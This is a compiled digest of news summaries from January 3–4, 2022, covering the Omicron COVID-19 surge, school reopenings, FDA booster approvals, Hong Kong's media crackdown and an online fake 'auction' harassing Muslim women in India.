Evacuees were waiting for answers. Forrest Smith, 67, who escaped from his home with the clothes on his back, a coffee mug and his smartphone, said he welcomed the investigation into the blaze. But Mr. Smith, who was staying at a Red Cross shelter after the fire gutted his home, expressed doubt that the investigation would result in holding anyone accountable.

“First of all, they’ve got to prove who did it,” said Mr. Smith, a retired truck driver. In any event, he said: “You can’t take it back. What’s done is done.”

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HEADLINE	01/03 Calif. schools reopening hinges on testing
SOURCE	<a href="https://www.nytimes.com/2022/01/03/us/california-school-reopening-testing.html">https://www.nytimes.com/2022/01/03/us/california-school-reopening-testing.html</a>

SACRAMENTO — With the Omicron variant raging across California, millions of schoolchildren returned to classrooms on Monday, ending the holiday break as many had spent it — masked, distanced, apprehensive and in long lines with their parents, scrambling for coronavirus tests.

Few schools were closed in a state whose Covid-19 precautions have been among the most aggressive in the nation. California has managed to maintain comparatively low rates of virus-related deaths and hospitalizations.

But infections have soared recently because of the highly contagious variant, which appears to result in less severe cases. In hundreds of districts, in-person instruction was conditioned on heightened health requirements and fraught with the understanding that even those might not prevent a return to remote learning.

“Frankly, the disruption I’m worried about isn’t Day 1 — it’s Day 2, 3 or 4 if we get 30 or 40 or 50 positive cases,” said Alex Cherniss, the superintendent of the Palos Verdes Peninsula Unified School District, where, after days of impassioned community debate, some 10,000 students in coastal Los Angeles County returned to class on Monday.

“People are exhausted here,” he said.

California’s largest school district, Los Angeles Unified, was not scheduled to resume classes until next week. But on Monday, the district issued new rules requiring baseline testing as a condition of returning to campus, regardless of vaccination status. Previously, testing had been optional for vaccinated and asymptomatic students and employees.

In many other districts, reopening classrooms on Monday also hinged on fresh rounds of coronavirus testing.

In Marin County, students had been given kits to test for the virus before re-entering campus. In Sacramento County, families stood for hours over the weekend at testing sites hastily erected by school districts or took advantage of an infusion of six million take-home tests the state supplied to districts across California as Omicron was starting to spike.

“We did two tests at home and he’s fine,” Emily Ramey said as she dropped off her younger child at a middle school in suburban Sacramento. “I’m just hoping that everyone else tested, too.”

Los Angeles Unified already conducts the nation’s largest weekly school-based coronavirus testing program, but health officials in the county have ratcheted up other measures that will affect the hundreds of thousands of students and employees in the school system, along with those in private schools and nearly 80 other public school districts.

New health rules starting Jan. 1 mandate, for example, that returning students at all of the county’s districts wear face masks not only indoors but also outside at recess, and that school employees upgrade to medical-grade N95 or KN95 face coverings.

Gov. Gavin Newsom has reiterated that the state is “committed” to keeping classrooms open and promised last month to make home testing kits “available to every K-12 public school student as they head back to the classroom from winter break.”

But not all districts had received their allotment by Monday. San Francisco schools increased mobile testing sites throughout the city and strongly encouraged students to get tested before returning, in part because they will not receive their allotment of tests from the state until later this week.

In Palos Verdes, Mr. Cherniss said concern over Omicron almost prompted the district to delay reopening until next week. But when he announced he was considering it, he said, the outcry from parents was fierce.

	Eventually, the district opted to reopen as scheduled, but to strongly encourage students to test before returning.
	“We did a big push over the weekend,” he said. “We handed out 2,000 home tests in less than three hours and did another 2,000 live tests. More than 100 were positive.”
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HEADLINE	<b>01/03 Virus spreading fast; new data offers hope</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-virus-is-spreading-faster-than-ever-but-new-data-offer-hope">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-virus-is-spreading-faster-than-ever-but-new-data-offer-hope</a>
GIST	<p>The coronavirus is spreading faster than ever at the start of 2022, but the last days of 2021 brought some encouraging news about the latest wave of infections.</p> <p>With growing evidence that <a href="#">the Omicron variant</a> produces less severe illness than in earlier waves, governments are redoubling their focus on vaccinations and boosters, which are increasingly seen as the world’s ticket to “living with Covid.”</p> <p>Dr. Anthony S. Fauci, the U.S. government’s top infectious disease expert, said on Sunday that hospitalizations, which are not rising as fast, were a more important barometer than reported cases for <a href="#">the severity of the Omicron wave</a>, a sharp distinction after nearly two years of tallying daily case counts.</p> <p>“As you get further on and the infections become less severe, it is much more relevant to focus on the hospitalizations as opposed to the total number of cases,” Dr. Fauci said.</p> <p>Still, the case numbers remain staggering. The world is recording an average of <a href="#">nearly 1.5 million new cases every day</a>, twice as many per day as were recorded nearly a week ago, although the figures in many places may have been distorted by holiday reporting delays. In the United States, experts forecast that the Omicron wave <a href="#">could crest in mid-January</a>, but not before millions were infected every week. Across Europe, <a href="#">caseloads have soared to new highs</a> and ushered in <a href="#">another bitter winter</a> of social restrictions, mask mandates and shifting travel rules.</p> <p>The holidays made things worse as colder weather and festive gatherings drove people indoors, where the virus circulates more easily. Airports and mass transit hubs were snarled with travelers after many people stayed home last year. And with many government offices closed, testing and case data were not being compiled as regularly, leaving officials and experts, at least temporarily, with <a href="#">an incomplete picture</a> of how bad things were getting.</p> <p>As much of the world returns to work this week, however, several trends are becoming clearer:</p> <ul style="list-style-type: none"> <li>• <b>Omicron seems milder:</b> A large British study determined that people who contract Omicron are <a href="#">far less likely to be hospitalized</a> than those infected with the Delta variant. Other studies found that Omicron <a href="#">may not spread as easily to the lungs</a>, a possible explanation of why its effects appear less severe.</li> <li>• <b>Vaccines, especially boosters, help:</b> The British study also underlined that the risk of hospitalization was significantly lower for people who had received two or three vaccine doses, compared with unvaccinated people. Among Covid cases who developed symptoms, people who had three doses were 88 percent less likely to be hospitalized than those who had not had any shots.</li> <li>• <b>Delta remains a threat:</b> The earlier variant still accounts for a large share of new infections in many countries — including more than 41 percent in the United States, according to federal data from the week ending on Christmas Day — and is significantly more virulent.</li> </ul> <p>Although many governments are loath to lock down again, officials are tweaking rules to account for Omicron’s blazing spread. Paris last week became the latest European city to <a href="#">reimpose an outdoor mask mandate</a>. South Korea joined France and others in setting <a href="#">an expiry date</a> for its vaccine passes, hoping to push more people to get boosters.</p>

Here are some other trends to watch for:

- **Hospitalizations rising:** Experts warn that with so many infections, the sheer number of patients needing care will strain health systems already frayed by two years of Covid. In [Australia](#), hospitalizations from the virus have more than doubled over the past week, to nearly 2,000. Worldwide, more health workers are likely to be sidelined by infections, adding to the stress on hospitals.
- **Risks to older people:** Much of the early data, including the British study, covers younger patients, leaving significant questions about how Omicron will affect older people. On Monday, Britain's education secretary, Nadhim Zahawi, told BBC radio that Omicron cases were rising among those 50 and older, but added that they were well protected since more than 90 percent of such people in Britain had booster shots. In the United States, [according to the Centers for Disease Control and Prevention](#), less than half of fully vaccinated people over 50 have received a booster dose.
- **More countries considering a fourth dose:** As studies suggest that immunity from boosters wanes against Omicron, Israel said it would offer [a fourth vaccine dose](#) to people age 60 and older, even though there is so far little evidence about its effectiveness. On Monday, French officials said that they would decide as early as mid-February whether to offer a fourth dose.
- **Trouble for the less vaccinated:** As wealthy nations rush to offer additional doses, experts fear that poorer nations will be left even farther behind, and ever more vulnerable to Omicron. Many of the countries with [the fastest rising case counts](#) — including Ivory Coast, Ghana and Angola — are in Africa, the continent with the lowest vaccination rates.

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HEADLINE	01/03 More school systems delay in-person class
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#more-major-us-school-systems-put-off-reopening-in-person-because-of-the-virus-surge">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#more-major-us-school-systems-put-off-reopening-in-person-because-of-the-virus-surge</a>
GIST	<p>Four large city school systems — in Cleveland; Detroit; Milwaukee; and Newark — have joined a growing list of public schools around the country that have postponed reopening after the holiday break, switched to remote instruction, or have taken both steps because of Covid-19 outbreaks and staffing shortages.</p> <p>Some of the announcements came abruptly, as school leaders struggled to respond to a rapidly changing situation.</p> <ul style="list-style-type: none"><li>• On Sunday night, the 75,000-student <b>Milwaukee</b> Public Schools system <a href="#">said</a> it would temporarily switch to remote instruction beginning Tuesday, citing “an influx of reported positive Covid-19 cases among district staff.” The system said it hoped to resume in-person instruction on Jan. 10.</li><li>• School officials in <b>Madison, Wis.</b>, a district of 27,000 students, delayed the start of classes until Thursday and said they would be held online until Jan. 10.</li><li>• The <b>Detroit</b> school system, citing what officials called a record high test positivity rate of 36 percent in the city, has <a href="#">announced</a> that no school would be held Monday through Wednesday, with more information to follow later in the week. The school system said on Friday that it would test its staff early this week and would distribute laptop computers to students, a sign that more remote learning could be in store.</li><li>• Elsewhere in Michigan, schools in <b>Pontiac</b> will be remote until Jan. 18, and in <b>Ann Arbor</b> through Jan. 10.</li><li>• In Ohio, <b>Cleveland</b>'s public schools, with 35,000 students, were scheduled to be remote this week following an announcement last week by Eric S. Gordon, the school chief. Schools in <b>Lorain</b> and several other northern Ohio districts also were moving to remote instruction.</li><li>• Arthur Culver, the superintendent of schools in <b>East St. Louis, Ill.</b>, a 5,200 student district, said in a Facebook post on Friday that classes would begin remotely on Tuesday, citing “very high Covid-19 positivity rates over the winter break within our serving Zip codes.” The district planned to remain remote through Jan. 14.</li><li>• The 35,000-student <b>Newark</b> schools announced last week that they would shift to remote learning today for at least the next two weeks, returning to classrooms on Jan. 18. It is the largest of several New Jersey school systems moving to remote instruction,</li></ul>

	including <b>Irvington, Cranford</b> and <b>South Orange-Maplewood</b> (until Jan. 10) and <b>Paterson</b> (until Jan. 18).
	Some school systems that are open for in-person instruction this week have nonetheless had to shut some school buildings for lack of staff, including eight schools in Columbus, Ohio, and 12 in Pittsburgh.
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HEADLINE	<b>01/03 FDA clears booster shots 12-15yr-olds</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-fda-clears-booster-shots-for-12-to-15-year-olds">https://www.nytimes.com/live/2022/01/03/world/omicron-covid-vaccine-tests#the-fda-clears-booster-shots-for-12-to-15-year-olds</a>
GIST	<p>The Food and Drug Administration on Monday authorized booster doses of Pfizer-BioNTech's coronavirus vaccine for 12- to 15-year-olds, a group that became eligible for initial shots in May.</p> <p>Regulators also shortened by a month the amount of time that adults and adolescents should wait between second and third doses, allowing them to seek booster shots five months after second injections. And they allowed some immunocompromised children aged 5 to 11 to seek a third shot, including those who have undergone solid organ transplants or have conditions that amount to "an equivalent level of immunocompromise," the F.D.A. said in a statement.</p> <p>A booster dose "may help provide better protection against both the Delta and Omicron variants," said Dr. Peter Marks, a top regulator who oversees the agency's vaccines office. "In particular, the Omicron variant appears to be slightly more resistant to the antibody levels produced in response to the primary series doses from the current vaccines."</p> <p>The Centers for Disease Control and Prevention's vaccine advisory committee is expected to meet this week to review the F.D.A. moves and decide whether to recommend the changes. If it does, the C.D.C.'s director, Dr. Rochelle P. Walensky, is expected to quickly sign off on them, in what is typically seen as the final step before changes to vaccination schedules are set in motion.</p> <p>The advisory committee's meeting could be an opportunity for Pfizer and the federal government to present any data that supports the booster authorizations, including information on the safety of third doses for young adolescents.</p> <p>Before authorizing third shots for 12- to 15-year-olds, the F.D.A. said that it examined real-world safety data from Israel on more than 6,300 people in that age group who received booster shots at least five months after a second dose. That data "enabled the F.D.A. to reassess the benefits and risks of the use of a booster in the younger adolescent population in the setting of the current surge in Covid-19 cases," the agency said.</p> <p>The review showed no new safety concerns, including no new cases of myocarditis, a rare heart-related side effect that has been tied to the Pfizer and Moderna vaccines, particularly in younger men.</p> <p>Regulators also relied on Israeli data in shortening the interval between second and third doses of the Pfizer vaccine. No new safety issues have emerged in the United States among more than four million people 16 and older who got a third dose at least five months after a second, the F.D.A. said. And because studies have shown that a Pfizer booster dose increases protection against the Omicron variant, a shorter interval might offer "better protection sooner," the agency said.</p>
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HEADLINE	<b>01/03 Beijing muzzles Hong Kong news media</b>
SOURCE	<a href="https://www.nytimes.com/article/hong-kong-media-muzzled.html">https://www.nytimes.com/article/hong-kong-media-muzzled.html</a>
GIST	HONG KONG — Citizen News, a small online news site in Hong Kong known for its in-depth coverage of courts and local politics, said it would stop publishing on Monday night, deepening concerns about the collapse of the city's once-robust media.

Just days earlier, another independent online media outlet, Stand News, [closed after hundreds of police raided its offices and arrested seven people](#). Two former senior editors at Stand News and the publication itself were charged with conspiracy to publish seditious materials.

The latest closures are the final chapters in the demise of independent media in Hong Kong, a city that once had some of the freest and most aggressive news media in Asia. Now, as Beijing continues a sweeping crackdown on the city, the journalists who once covered the city's protests and politics are increasingly either under arrest or out of work, without anywhere to publish.

"What's happening is not just another closure of a media outlet," said Lokman Tsui, a former journalism professor at the Chinese University of Hong Kong. "This is part of a larger project by the government of dismantling all critical media, of all independent media in Hong Kong."

### **Beijing has targeted news outlets that rose with the city's pro-democracy protests.**

Stand News and Citizen News were part of a flourishing media scene that arose covering pro-democracy protest movements in Hong Kong. They carried few advertisements, instead relying on donations. They were built for online readers, often livestreaming protests for hours on end.

When the protest movement was stamped out by widespread arrests and a sweeping security law, they turned their focus to the courts, documenting dozens of criminal cases against protesters and opposition politicians.

Citizen News was founded five years ago by a handful of editors and reporters with long experience at other news outlets in Hong Kong. The company's small size sometimes meant they couldn't match the comprehensiveness of larger publications. But they dug into local issues, often delivering scoops on how the authorities were pressing their legal campaign against the opposition.

In September they were [the first to report that prosecutors planned](#) to argue that a group that held annual vigils to mourn the victims of the 1989 Tiananmen Square crackdown was subversive because of its slogan, "End one-party dictatorship."

As journalists continued to be arrested, Citizen News' executives said they realized that publishing such work might no longer be safe.

"We haven't changed," Daisy Li, the chief editor of Citizen News, told reporters on Monday. "It's the exterior, objective environment that has changed. As the chief editor, I'm not able to decide whether this story, that reporting or this quote, if published, will violate the law in this changed environment."

### **The end of Apple Daily set off a chain of arrests and closures.**

The newer digital outlets drew inspiration and staff from Apple Daily, the aggressively independent newspaper founded in 1995 by the tycoon Jimmy Lai. Mr. Lai was vociferously anti-communist and promoted a freewheeling style of tabloid journalism, as aggressive in covering government malfeasance as it was in chasing celebrity gossip.

Mr. Lai was long a thorn in Beijing's side. But after he and several Apple Daily executives were arrested and [the publication was forced to close last year](#), the authorities' attention turned toward smaller independent outlets like Stand News and Citizen News. While they avoided the tabloid sensibilities of Apple Daily, they were equally focused on scrutinizing the government and giving voice to opposition figures, angering the authorities.

"They were super-professional in their news analysis, super-rigorous in their fact-checking and also, this is the important part, they were not afraid to speak truth to power," Mr. Tsui said. "That's what's doing them in right now."

Weeks before the raid on Stand News, Hong Kong's security secretary, Chris Tang, [accused the outlet of](#) "biased, smearing and demonizing" reporting on conditions in the city's prisons.



### **Traditional news outlets, too, have been increasingly restrained.**

As independent outlets have shuttered, traditional news media has grown increasingly cautious. Radio Television Hong Kong, or RTHK, a public broadcaster long considered one of Hong Kong's most reliable news providers, [has been remolded by the government](#) into something that critics say more closely resembles Chinese state media, hewing closely to official pronouncements and staid recounting of government activities.

When Peng Shuai, the Chinese tennis star, accused a former senior Communist Party official of sexual assault last year, she set off the sort of political scandal that traditionally would have dominated Hong Kong media. But mainstream outlets initially ignored the development. RTHK's website [carried a single story](#) from a month after the allegations first emerged that simply refers to the Women's Tennis Association's concerns about her safety, without detailing Ms. Peng's allegations.

Ming Pao, a centrist Chinese-language newspaper, at first carried the news only in its business pages. [That article](#) examined the effect on companies connected to the official, Zhang Gaoli, who was formerly a member of the Politburo Standing Committee, the top echelon of political power in China. Ming Pao's chief editor, reached by phone, declined to comment on the coverage.

"Peng Shuai is the latest example where you can tell who is not afraid to speak truth to power and who is," Mr. Tsui said. "That is really revealing to me that none of the main outlets were willing to put it on their cover or even discuss it."

### **Beijing's own media outlets now have a more commanding voice.**

The silencing of independent news outlets has helped expand the influence of Beijing's own publications. State-controlled newspapers Wen Wei Po and Ta Kung Pao have frequently used their pages to attack pro-democracy politicians, journalists and activists. Opposition politicians have said journalists from those newspapers sometimes tail them for days.

Their pages are closely monitored for clues as to what the security services might do next. When their attacks intensify, official actions often follow.

Last year, Ta Kung Pao published a series of articles attacking Stand News and accusing it of supporting terrorism for a piece that compared violent resistance campaigns in Northern Ireland and Hong Kong.

### **Beijing and Hong Kong have fiercely defended the crackdown.**

The arrests of journalists and closings of independent outlets have received widespread criticism from media freedom organizations and Western governments. After the raid on Stand News, Secretary of State Antony J. Blinken [urged](#) the Hong Kong and Chinese central governments to release detained journalists and media executives. "Journalism is not sedition," he said.

Beijing has accused its critics in the West of seeking to destabilize Hong Kong. "These people have willfully misrepresented the lawful actions taken by the Hong Kong Police Force, vainly attempting to use press freedom as a shield for criminal acts and hamper the rule of law in Hong Kong through the straw-man trick," the People's Daily, the Communist Party's flagship newspaper, [said in an editorial](#).

In a letter to The Wall Street Journal, Hong Kong's chief secretary, John Lee, has said that instead of criticizing the crackdown in editorials, the newspaper should support the arrests. "If you are genuinely interested in press freedom, you should support actions against people who have unlawfully exploited the media as a tool to pursue their political or personal gains," he wrote.

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HEADLINE	01/03 Online 'auction' Muslim women in India
SOURCE	<a href="https://www.nytimes.com/2022/01/03/world/asia/india-auction-muslim-women.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=World%20News">https://www.nytimes.com/2022/01/03/world/asia/india-auction-muslim-women.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=World%20News</a>

Hiba Bég, a graduate student in the United States, was visiting the grave of her grandmother in New Delhi over the weekend when she learned that she was “for sale” to the highest bidder online — for a second time in less than a year.

Her screen filled with dozens of calls and messages from friends, all sharing the same screenshot of the profile created of her on the app, a fake auction site called “Bulli Bai.” Ms. Bég, a former journalist with an active online presence, wasn’t alone. More than 100 other prominent Indian Muslim women, including artists, journalists, activists and lawyers, found that online images of themselves were being used without permission on the app, which went up on Saturday and was taken down again within about 24 hours.

In June a similar app, called “Sulli Deals,” appeared. (Both terms are derogatory slang for Muslim women.) That one remained up for weeks and was taken down only after complaints from victims. Though the police opened an investigation, no one has been charged in that case.

India’s online space is rife with misogyny and harassment of women. But the two “auctions” have amplified concern about the organized nature of the virtual bullying, and how targeted smears and threats of violence, particularly sexual violence, are deployed to try to silence women, especially those critical of some of Prime Minister Narendra Modi’s policies.

“The intimidation is aimed at forcing Muslim women who raise their voices against the injustice to withdraw from public life,” said Ms. Bég, 26, who is pursuing a graduate degree at Columbia University. “But you don’t back off, even if everything gets overwhelming.”

Muslim women were at the forefront of one of India’s largest protest movements in recent decades. In early 2020, before the coronavirus pandemic began in earnest in India, thousands blocked roads and held demonstrations in protest of a new citizenship law that was seen as prejudiced against Muslims.

Women featured in the “auction” included Fatima Nafees, the mother of a student activist [who disappeared more than five years ago](#) after a fight with members of a right-wing student organization; a film star turned social activist, a researcher, and several other prominent Muslim women.

Both the app that went up in June and the more recent one were hosted by GitHub, a Microsoft-owned open software development site based in San Francisco. On Sunday, India’s federal minister for communications, Ashwini Vaishnaw, said that GitHub had [blocked](#) the user behind the recent app. GitHub has not commented publicly on the episode.

Karti Chidambaram, a member of India’s Parliament and a leader of the opposition Congress party, [wrote on Twitter](#) that he was appalled that those responsible apparently felt emboldened because of the government’s lack of action on the previous auction.

“It is unacceptable that this project of dangerous anti-Muslim misogyny is back,” he said.

On Monday, the police in the southern state of Andhra Pradesh said they had opened an investigation and filed a criminal complaint against several Twitter handles and developers of the app, based on the complaint of a Muslim woman.

But many complaints said the lack of progress on the previous investigations had inspired little confidence.

For years, Ms. Bég has been a vocal critic of India’s governing Hindu nationalists and their anti-minority policies under Mr. Modi. She has faced intense internet trolling, including death threats, on Twitter.

Over the years, as the pressure has intensified, she said, she started self-censoring, avoiding critical posts on the policies of the Hindu nationalists.

	<p>She said she had been worried about the rising intolerance, but the latest episode showcased how the online machinery was being used to make vocal Muslim women withdraw from public life, essentially eliminating any counternarrative.</p> <p>Hasiba Amin, a social media coordinator of the opposition Congress party, who was also featured on the auction app, says the fact that the violence and death threats against minorities online have recently gone beyond virtual is what keeps her awake.</p> <p>“What guarantees do we have from the government that tomorrow the threats and intimidation online is not going to turn into the real-time sexual violence on the streets?” she asked.</p>
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HEADLINE	<b>01/03 Covid cases soar to new records</b>
SOURCE	<a href="https://www.wsj.com/articles/france-relaxes-quarantine-rules-as-europe-adapts-to-omicrons-spread-11641217097?mod=hp_lead_pos1">https://www.wsj.com/articles/france-relaxes-quarantine-rules-as-europe-adapts-to-omicrons-spread-11641217097?mod=hp_lead_pos1</a>
GIST	<p>Covid-19 infections <a href="#">continued to soar</a> far above previous peaks across the U.S., as students returned to classrooms while some workers remained home after contracting or being exposed to the virus.</p> <p>The seven-day average of daily reported Covid-19 cases in the U.S. reached a pandemic record 404,743 on Sunday, according to a Wall Street Journal analysis of Johns Hopkins University data. The fresh peak arrived even as most states paused reporting during the New Year’s holiday weekend. Reporting delays will likely lead to spikes in reports of cases this week as states catch up. While <a href="#">Covid-19 tests remain in short supply</a> in much of the U.S., Covid-19 testing was less robust last year, complicating comparisons between pandemic surges.</p> <p>Hospitalizations for confirmed or suspected Covid-19 reached a seven-day average of 93,327 on Sunday, according to data posted by the U.S. Department of Health &amp; Human Services. That is up 35% in the past two weeks but below both the pandemic peak of 137,510 on Jan. 10, 2021, and the smaller peak of 102,967 on Sept. 4, 2021, during the Delta surge.</p> <p>Los Angeles County reported more than 20,000 new Covid-19 infections on Sunday for the fourth day in a row, a sharp increase from the 7,425 cases reported last Monday. Officials said the count was likely distorted by reporting delays over the New Year’s holiday weekend. Hospitalizations in the county have increased as well, at a lower rate.</p>
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HEADLINE	<b>01/03 Israel reopens to foreigners</b>
SOURCE	<a href="https://news.trust.org/item/20220103134902-vz8vo">https://news.trust.org/item/20220103134902-vz8vo</a>
GIST	<p>JERUSALEM, Jan 3 (Reuters) - Israel said on Monday it will admit foreigners with presumed COVID-19 immunity from countries deemed medium-risk next week, partially reversing a ban imposed in late November in response to the fast-spreading Omicron variant.</p> <p>The change suggests Prime Minister Naftali Bennett's government sees waning value in sweeping travel curbs - which wrecked winter tourism - as domestic coronavirus cases surge.</p> <p>The Health Ministry said that, as of Jan 9, foreign travellers from 199 "orange" countries will be admitted if they can prove they are vaccinated or have recovered from COVID-19.</p> <p>Orange-listed countries include Australia, Italy and Ireland. The ministry recommended that South Africa, Nigeria, Spain, Portugal, France and Canada, currently among 16 countries listed as "red" or high COVID-19 risk, be changed to "orange".</p> <p>The announcement came even as Bennett predicted that new cases could increase tenfold within days. The rapid pace of infection has led to many Israelis waiting hours in lines for COVID-19 tests, although Omicron has not brought corresponding rises in mortality.</p>

	<p>Health Minister Nitzan Horowitz said Israel would adjust its criteria for compulsory testing and focus primarily on people at high risk. Subsequently, more Israelis "will be required to exercise personal responsibility and perform tests at home", he said in televised remarks on Monday.</p> <p>The government's strategy is focused on vaccinations, with a fourth dose - or second booster - offered to vulnerable cohorts.</p> <p>"I closed the skies five weeks ago when everything was good," Bennett said in a televised address on Sunday, referring to Israel's Nov. 25 ban on most travel to and from red-listed countries after Omicron was first detected abroad.</p> <p>"And, over the coming week, it would be reasonable for us to reopen anew."</p> <p>The United States, Britain, United Arab Emirates, Ethiopia, Tanzania, Mexico, Switzerland and Turkey remain on Israel's red list, the health ministry said. Visitors from those countries require advance special permission from an Israeli committee to enter.</p> <p>Israel has also scaled down precautionary self-isolation periods for people who have been exposed to COVID-19 carriers, concerned that mass quarantining could paralyse the economy.</p>
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HEADLINE	<b>01/03 Return-to-office plans face revision again</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/03/business/news-business-stock-market#omicron-return-to-office">https://www.nytimes.com/live/2022/01/03/business/news-business-stock-market#omicron-return-to-office</a>
GIST	<p>For many businesses, the start of the year has brought a swift reversal of return-to-office plans as <a href="#">coronavirus case counts surge</a> and <a href="#">events are canceled</a>. In recent days, companies from <a href="#">Goldman Sachs</a> to <a href="#">Chevron</a> have begun to backtrack on workplace policies. Some are telling employees to stay home with just days, or even hours, to spare before their planned returns.</p> <p>As the government pushes to keep the economy open despite record cases — but <a href="#">lower hospitalization and death rates</a> — it raises new questions for businesses preparing for a third year of the pandemic. Some are questioning whether previous precautions like lockdowns and social distancing are still best to keep companies running and workers safe, or whether the new variant allows for a more tailored approach.</p> <p>“We want to make sure there is a mechanism by which we can safely continue to keep society functioning while following the science,” Rochelle Walensky, the director of the Centers for Disease Control and Prevention, said recently.</p> <p>Government policies are shifting. Dr. Anthony Fauci said Sunday that it was <a href="#">“much more relevant”</a> to focus on Covid hospitalizations instead of total cases, because many infections were asymptomatic, and he was more worried about potential strains on hospital systems.</p> <p>The C.D.C. has halved its recommended isolation time for asymptomatic infections to five days from 10, a move that raised <a href="#">criticism</a> (and inspired <a href="#">memes</a>), but Dr. Fauci said the agency may <a href="#">revise its guidelines</a> yet again.</p> <p>And the Biden administration is signaling that it may change the definition of “fully vaccinated” to require booster shots, a prospect that could affect what <a href="#">140 million Americans</a> can and can’t do in public.</p> <p>That leaves companies with a lot to consider. Some, like Goldman Sachs, are <a href="#">changing their vaccination policies</a>. The Wall Street bank will require a booster shot for all employees and visitors entering its offices beginning Feb. 1.</p>

	<p>Employers will also need to rethink their policies if they want to bring infected workers back to the office more quickly. This makes testing the next big issue, with the Biden administration scrambling to increase supply amid shortages.</p> <p>Some big firms have been buying tests in bulk to give to employees, but smaller companies may not have similar capacity. Deciding whom to prioritize for tests, who pays for them, and how to verify the results will bedevil many boardrooms in the coming months.</p> <p>If <a href="#">Broadway shows</a>, <a href="#">sporting events</a> and <a href="#">conferences</a> are anything to go by, keeping things open won't be easy.</p>
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HEADLINE	<b>01/04 More young hospitalized than ever before</b>
SOURCE	<a href="https://www.cnn.com/2022/01/04/health/us-coronavirus-tuesday/index.html">https://www.cnn.com/2022/01/04/health/us-coronavirus-tuesday/index.html</a>
GIST	<p>(CNN)With tens of millions of unvaccinated Americans at higher risk for severe disease from <a href="#">Covid-19 infections</a>, doctors and health care facilities nationwide are reporting a <a href="#">rising number</a> of young people hospitalized, some of whom are too young to receive vaccine doses.</p> <p>The nation's largest pediatric hospital, Texas Children's Hospital in Houston, is reporting a more than four-fold increase in <a href="#">child hospitalizations</a> from Covid-19 over the last two weeks, spurred by the spread of the <a href="#">Omicron and Delta variants</a> over the holiday season.</p> <p>"We have staggering numbers here from this Omicron surge already," Dr. Jim Versalovic, pathologist-in-chief at Texas Children's, said Monday. "We shattered prior records that were established during the Delta surge in August."</p> <p>More than 700 children were in the hospital with Covid-19 during one 24-hour period last week, he said, and 90% of cases were shown through sequencing to <a href="#">have been caused</a> by the Omicron variant.</p> <p>"We are seeing more Covid now than we have seen in previous waves," said Dr. Edith Bracho-Sanchez, a primary care pediatrician and assistant professor of pediatrics at Columbia University Irving Medical Center in New York, "and it's worrisome that the worst of the winter here has not passed, and we are bracing for what is still to come."</p> <p>Noting that some children who have coronavirus may be seeking medical care for other conditions yet testing positive, Bracho-Sanchez told CNN's Anderson Cooper Monday it is evident from what she has seen in New York City that more children there have Covid-19 than ever before.</p> <p>"We would be foolish to keep minimizing Covid-19 in children at this point in the pandemic," she said. Early research suggests Omicron may cause more upper airway problems, unlike previous strains that caused lower airway problems. However, upper airway conditions can be more dangerous for children than adults.</p> <p>"We cannot treat the airways of children like they are the airways of adults," she said. "It's just not the way it works. And for us pediatricians, we know that respiratory viruses can lead to ... croup and bronchiolitis, that inflammation of the upper airways that does get in children in trouble."</p> <p>Versalovic said Monday of the children at their facility needing care, "It's clear that the majority of cases either have Covid-19 as a primary factor or as a significant contributing factor to their hospitalization."</p> <p>Data published from the US Centers for Disease Control and Prevention (CDC) and the Department of Health and Human Services last week showed that <a href="#">pediatric hospital admissions</a> had reached a record high, eclipsing marks from the 2020 holiday surge as well as the Delta surge over the summer and fall.</p>

Cumulative hospitalization rates through November are about eight times higher for unvaccinated adults and about 10 times higher for unvaccinated children ages 12 to 17, according to CDC data.

Children are the least vaccinated age group in the US, with around 53% of ages 12-17 fully vaccinated and those ages 5-11 far less, according to [CDC data](#). Americans at age 18-24 are nearly 59% fully vaccinated and those ages 25-39 are at 63%.

Overall, 62% of the US population is fully vaccinated and more than 33% of those have received a booster, [CDC data shows](#).

### 'We're not in a good place'

The Omicron variant has led to a massive surge in Covid-19 cases since its arrival stateside was announced last month, compounding the Delta surge already in progress and pushing [some school districts](#) to return to online learning or in-person mask wearing until infections subside.

Evidence points to Omicron being [less likely](#) to cause severe disease than Delta, however its transmissibility means many more will be infected, overwhelming health care systems. And areas of concern are sprouting up nationwide.

"We're not in a good place, I'm going to be really honest with you," New York Gov. Kathy Hochul said Monday. "This is the winter surge we predicted."

Regarding the high rate of infections overall, "the severity of the illness is far less than we've seen before," she said, yet the number of those hospitalized is going up.

Mobilized with support from the National Guard, Ohio is opening new Covid-19 testing locations in nine cities this week, Gov. Mike DeWine announced. The state now has more coronavirus hospitalizations than at any other point in the pandemic, [according to](#) the Ohio Hospital Association.

And Nevada is "seeing an alarming number of Covid-19 cases and hospitalizations reported after the end of the year holidays," Gov. Steve Sisolak said in a statement. "My team is continuing to analyze the numbers and we are working with health districts and other partners to provide resources to combat the surge we are facing."

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HEADLINE	01/04 Reckoning: how much risk is acceptable?
SOURCE	<a href="https://www.cnn.com/2022/01/04/politics/omicron-us-cases-winter-biden/index.html">https://www.cnn.com/2022/01/04/politics/omicron-us-cases-winter-biden/index.html</a>
GIST	<p>(CNN)Every American is being drawn into a reckoning over how much risk is acceptable to get the nation back on its feet as the new <a href="#">Omicron variant</a> of Covid-19 <a href="#">rages out of control</a>.</p> <p>The country is being buried under an avalanche of <a href="#">new infections</a>, but after two exhausting, demoralizing years, the impetus among millions of people to try to find a way to <a href="#">live more normally</a> alongside the disease has never been stronger. Striking the right balance is complicated since the pandemic has reached its most paradoxical phase yet.</p> <p>Signs of a worsening winter crisis are cropping up everywhere even as new hope stirs that a virus that wrecked the last two years is not, perhaps, as frightening in its latest guise. It's also jarring that infection curves are shooting straight up in vertical lines as hospitals overflow but many Americans who get Covid-19 for the first time shrug it off <a href="#">like it's a mild cold</a>.</p> <p>The situation has led to debate in Washington, DC -- where <a href="#">President Joe Biden</a> is set to address the rapid spread of Omicron on Tuesday -- to governors' mansions, corporate boardrooms, schools and living rooms from coast to coast.</p>



